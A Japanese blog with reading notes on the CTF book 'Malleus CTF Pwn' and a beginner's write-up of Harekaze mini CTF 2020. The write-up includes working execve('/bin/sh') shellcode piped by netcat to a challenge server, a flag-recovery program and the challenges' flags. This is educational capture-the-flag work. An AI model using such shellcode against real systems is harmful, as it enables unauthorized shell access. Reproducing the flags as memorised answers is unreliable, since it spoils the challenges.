Malleus CTF Pwnを読んだ

前々からCTF(特にpwn)に興味があったので、Malleus CTF Pwnを読みました。

sanya.sweetduet.info

ページ数もそこまで多くないしさらっと読めるかなと思って買ったのですが、CTFやpwnに関する事前知識ゼロだったので、結局時間をかけてじっくり読むことになりました。その分得るものがたくさんあって、読み応えがあってよかったかなと。あとやっぱりスタックやらmallocやらその辺の仕組みを知っていくのは楽しい。

メモした内容を忘れないように残しておきます。

(最近商業版?も出たらしい)
解題pwnable セキュリティコンテストに挑戦しよう! (技術の泉シリーズ(NextPublishing)) | 草野 一彦 | 工学 | Kindleストア | Amazon

第1章 準備

ツールの説明とか。
使っているPCにそもそもDockerを入れてなかったので入れた。
https://docs.docker.com/engine/install/ubuntu/

第2章 login1, 第3章 login2

スタックバッファオーバーフローについて。このへんはすんなり読めた。

第4章 login3

このあたりから理解に時間がかかるようになってきた。
One-gadget RCEの存在を初めて知った。本来どういう用途で使われているか知らないので、狙われるだけでは?と思ったけど何のための機能なんだろう。

関数のアドレスを表示してランダム化されていること (ASLR) を確認するところで、以下のコードで関数のアドレスを確認していた。

printf("printf: %p\n", printf);

ふとアセンブリはどうなっているのだろうと気になって確認したところ、以下のようになっていた。これだと printf の GOT のスロットのアドレス (0x403fe8) が出力されるのでは?と思ったが、よくよく見ると mov が使われているので、ちゃんとGOTのスロットのアドレスに格納されている値、つまり printf のアドレスが出力される。

mov rax,QWORD PTR [rip+0x2eb7] # 403fe8 <printf@GLIBC_2.2.5>

ちなみに以下だと lea が使われる。コンパイラよくできてる。

int a;
printf("%p\n", &a);

あとはそもそもPythonの文字列とかバイトオブジェクトとかがわかってなかったので、以下を読んだりした。

第5章 rot13

Format String Attack
最初攻撃スクリプトが何をしているか全然わからなかったけど、丁寧に追っていくことでなんとか理解。
printfで書き込み (%n) もできるというのは初耳。

第6章 birdcage

ここからヒープ。

第7章 strstr

mallocががっつりでてきた。ちょっとついていけなくなってしまったのでmalloc動画をまずは見ることにした。

これもわかりやすい。ここまで詳細な文書をまとめることに脱帽。
malloc(3)のメモリ管理構造

あとはソースも適当に見ながら読み進めた。

libc-2.27.so内の main_arena のアドレスを逆アセンブル結果を見て特定するところがよくわからなかった。アセンブリ読めればわかるということかな。

第8章 strstrstr

本と同じようにPwngdbのparseheapとかheapinfoとかが使いたくていろいろ奮闘した。
まずは手元の環境 (Ubuntu 20.04.1 LTS) で配布されたlibc-2.27.soを使うようにpatchelfで実行ファイルにパッチを当ててgdbを動かしてみた。シェルは取れたけど、libc6-dbgがないよと怒られてparseheapはできなかった。

gdb-peda$ parseheap
Can not get libc version
Cannot get main_arena's symbol address. Make sure you install libc debug file (libc6-dbg & libc6-dbg:i386 for debian package).
can't find heap info
gdb-peda$ heapinfo
Can not get libc version
Cannot get main_arena's symbol address. Make sure you install libc debug file (libc6-dbg & libc6-dbg:i386 for debian package).
Can't find heap info

libc6-dbgの存在を知らなかったけど、調べてみるとlibcのデバッグ情報をlibcとは別出しで持っているパッケージとのこと。これがないとparseheapとかはできないらしい。
https://github.com/scwuaptx/Pwngdb#heapinfo

ということで、libc-2.27.soのlibc6-dbgも入れられるように、Ubuntu 18.04で試してみることにした。apt install でlibc6, libc-dbgを入れていざ試してみると、今度はシェルが取れない。。たぶんすでにlibc6にパッチがあたっているからだと思われる。

$ apt list -a libc6
Listing... Done
libc6/bionic-updates,now 2.27-3ubuntu1.4 amd64 [installed]
libc6/bionic-security 2.27-3ubuntu1.2 amd64
libc6/bionic 2.27-3ubuntu1 amd64

今度は一番古いバージョンのlibc6にダウングレードしてみたところ、配布されているlibc-2.27.soと全く同じものがインストールされた。

$ sudo apt install libc6=2.27-3ubuntu1 libc-dev-bin=2.27-3ubuntu1 libc6-dev=2.27-3ubuntu1 libc6-dbg=2.27-3ubuntu1
$ cmp /path/to/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
$ 

配布されたソースコード-g 付きでコンパイル、止めたいところでbreakしてparseheapすることで、ようやく本と同じ結果が得られた。

第9章 freefree

House of Orange
ここもparseheap、heapinfoでヒープの状態を確認しながら攻撃スクリプトの挙動を追っていった。

第10章 freefree++

File stream oriented programming

第11章 writefree

House of Corrosion
fastbinにチャンクを格納する際のサイズチェックに引っかからないようにするために、各サイズで一旦確保し解放することでヒープ中の次のチャンクのsizeにあたる位置にサイズを書き込んでおく、というところがよくわからず小一時間悩んだ。なぜ一旦確保し解放することで次のチャンクのsizeに書き込めるのか。

元記事だとこのあたり。

This is achieved by allocating then freeing a chunk so that the top chunk size is written to that location.

けど↑にも書いてあるとおり、次のチャンク = top ということに気づいて納得。一旦確保することでtopの位置が変わり、それに伴いtopのサイズも変わるから、正常なサイズが書き込まれるということ。

はじめてCTFに参加した (Harekaze mini CTF 2020)

はじめに

はじめてCTFというものに参加しました。というのも、最近 Malleus CTF Pwn という本を読んでpwnめちゃくちゃおもしろいなと思っていたところに、ちょうど初心者向けっぽいCTFが開催されるという噂を耳にしたからです。どうせならということで、思い切って参加してみました。ちなみに本はまだ半分くらいしか読んでないです。

参加したのは Harekaze mini CTF 2020 というCTFです。(twiitter → #HarekazeCTF)
初CTFの結果は、welcome問題も含めて3問解くことができました。CTF業界ではまだまだだと思いますが、初めてにしてはがんばったのでは?

CTFではwriteupなるものを書く文化があるみたいなので、解けた問題について書いてみました。

[Misc] Welcome (warmup)

Harekaze mini CTF 2020へようこそ! フラグは HarekazeCTF{4nch0rs_4we1gh} です。

問題文にフラグが書いてあるので、そのまま提出するだけ。

[Pwn] Shellcode (warmup)

nc xxx.xxx.xxx.xxx 20005

問題文のとおりにアクセスしてみる。

$ nc xxx.xxx.xxx.xxx 20005
Present for you! "/bin/sh" is at 0x404060
Execute execve("/bin/sh", NULL, NULL)

サーバで動いているプログラムのソースコードは提供されている。

  • shellcode.c
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("Present for you! \"/bin/sh\" is at %p\n", binsh);
    puts("Execute execve(\"/bin/sh\", NULL, NULL)");

    char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    // Clear rsp and rbp
    memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);
    read(0, code + 6, 0x100);
    mprotect(code, 0x1000, PROT_READ | PROT_EXEC);

    ((void (*)())(code))();

    return 0;
}

どうやら execve("/bin/sh", NULL, NULL) を実行する shellcode を入力で与えれば、実行してくれるらしい。
shellcode ってなに?という状態だったので調べてみたところ、以下の記事がわかりやすかった。

シェルコードは攻撃の際に使う機械語で書かれたプログラムの断片のことで、主にシェルを起動するために作られている場合が多いことからシェルを起動するかに関わらずシェルコードと呼んでいます。

ということで、shellcode をつくってみる。rax に execve のシステムコール番号を、rdi (第一引数) に /bin/sh のアドレスを、rsi, rdx (第二、第三引数) に NULL を格納して systemcall を呼ぶ。

  • execve.s
/* execve.s */
.intel_syntax noprefix
.globl _start

_start:
    mov rax, 59
    mov rsi, 0
    mov rdx, 0
    lea rdi, [0x404060]
    syscall

コンパイルして、機械語を出力。

$ gcc -nostdlib execve.s
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\x8d\x3c\x25\x60\x40\x40\x00\x0f\x05

サーバプログラムに入力。

$ (printf '\x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\x8d\x3c\x25\x60\x40\x40\x00\x0f\x05'; cat) | nc 20.48.83.165 20005
Present for you! "/bin/sh" is at 0x404060
Execute execve("/bin/sh", NULL, NULL)
ls
bin
boot
dev
etc
home
lib
...

無事シェルがとれたっぽい。(わかりにくいけど ls を実行している)
CTF に参加したのは今回が初めてなので、CTF での shell 奪取も初。これはうれしい。

あとは flag を探して出力するだけ。

find . -name flag
./home/shellcode/flag
find: './root': Permission denied
find: './proc/tty/driver': Permission denied
...
cat ./home/shellcode/flag
HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}

(ここで何をしているのかは正直わかってない)

    // Clear rsp and rbp
    memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);

[Reversing] Easy Flag Checker (warmup)

このバイナリに文字列を与えると、フラグであるかどうかチェックしてくれます。

chall という名前のバイナリファイルがダウンロードできるので、ダウンロードして実行してみる。

$ ./chall
Input flag: aaa
Nope.

objdump して眺めてみたが、まったくわからない。
ということで、Malleus CTF Pwn でも名前が紹介されていた Ghidra をインストールして使ってみることにした。

f:id:penguing27:20201227140441p:plain

これは便利。真ん中のウィンドウが逆アセンブル結果、右のウィンドウがデコンパイルした結果。
このデコンパイルした結果が C 言語みたいになっていて、普通に読むことができる。

check という関数でフラグが正解かどうか判定しているっぽい。check には入力した文字列と "fakeflag{this_is_not_the_real_flag}" という文字列を引数として与えている。
check 関数のデコンパイル結果を見てみる。

undefined8 check(long param_1,long param_2)

{
  char cVar1;
  int local_c;
  
  local_c = 0;
  while( true ) {
    if (0x22 < local_c) {
      return 0;
    }
    cVar1 = (**(code **)(funcs + (long)(local_c % 3) * 8))
                      ((int)*(char *)(param_2 + local_c),(int)(char)table[local_c],
                       (int)(char)table[local_c]);
    if (cVar1 < *(char *)(param_1 + local_c)) break;
    if (*(char *)(param_1 + local_c) < cVar1) {
      return 0xffffffff;
    }
    local_c = local_c + 1;
  }
  return 1;
}

funcs 関数の返り値を cVar1 という変数に格納していて、 cVar1 の値と param_1 + local_c に格納されている値が一致しているかをチェックしている。これをフラグ文字数分繰り返してすべて一致していれば0を返す。

funcstable が気になるので Ghidra で検索。
funcs + 0x0 , funcs + 0x8 , funcs + 0x10 のアドレスに、それぞれ add , sub , xor という関数のアドレスが格納されていた。それぞれの関数も検索すると、2つの引数に対して関数名通りの処理をするというわかりやすいものだった。
table には、フラグ文字数分だけ値が格納されていた。この値が、 add などの関数に与える2つの引数のうちの1つとなる。

(local_c % 3) * 8 の値に応じて呼ぶ関数を変えていることがわかったので、あとはフラグを出力するコードを書くだけ。

  • solve.c
#include <stdio.h>

#define FLAG_LEN 35

int main()
{
    int i;
    char *fake = "fakeflag{this_is_not_the_real_flag}";
    char table[] = { 0xe2, 0x00, 0x19, 0x00, 0xfb, 0x0d, 0x19, 0x02, 0x38, 0xe0,
                     0x22, 0x12, 0xbd, 0xed, 0x1d, 0xf5, 0x2f, 0x0a, 0xc1, 0xfc,
                     0x00, 0xf2, 0xfc, 0x51, 0x08, 0x13, 0x06, 0x07, 0x39, 0x3c,
                     0x05, 0x39, 0x13, 0xba, 0x00 };
    char ans[FLAG_LEN + 1];

    for (i = 0; i < FLAG_LEN; i++) {
        switch (i % 3 * 8) {
            case 0:
                ans[i] = fake[i] + table[i];
                break;
            case 8:
                ans[i] = fake[i] - table[i];
                break;
            case 16:
                ans[i] = fake[i] ^ table[i];
                break;
            default:
                printf("error\n");
                return -1;
        }
    }
    ans[FLAG_LEN] = '\0';

    printf("%s\n", ans);

    return 0;
}

フラグ取得。

$ gcc -o solve solve.c
$ ./solve
HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}

おわりに

解けた3問以外では、pwnのNM Game Extremeという問題と、reversingのWaitという問題にチャレンジしましたが、わからずじまいで寝てしまいました。
他の人のwriteupを読んで勉強したいと思います。また出るぞ。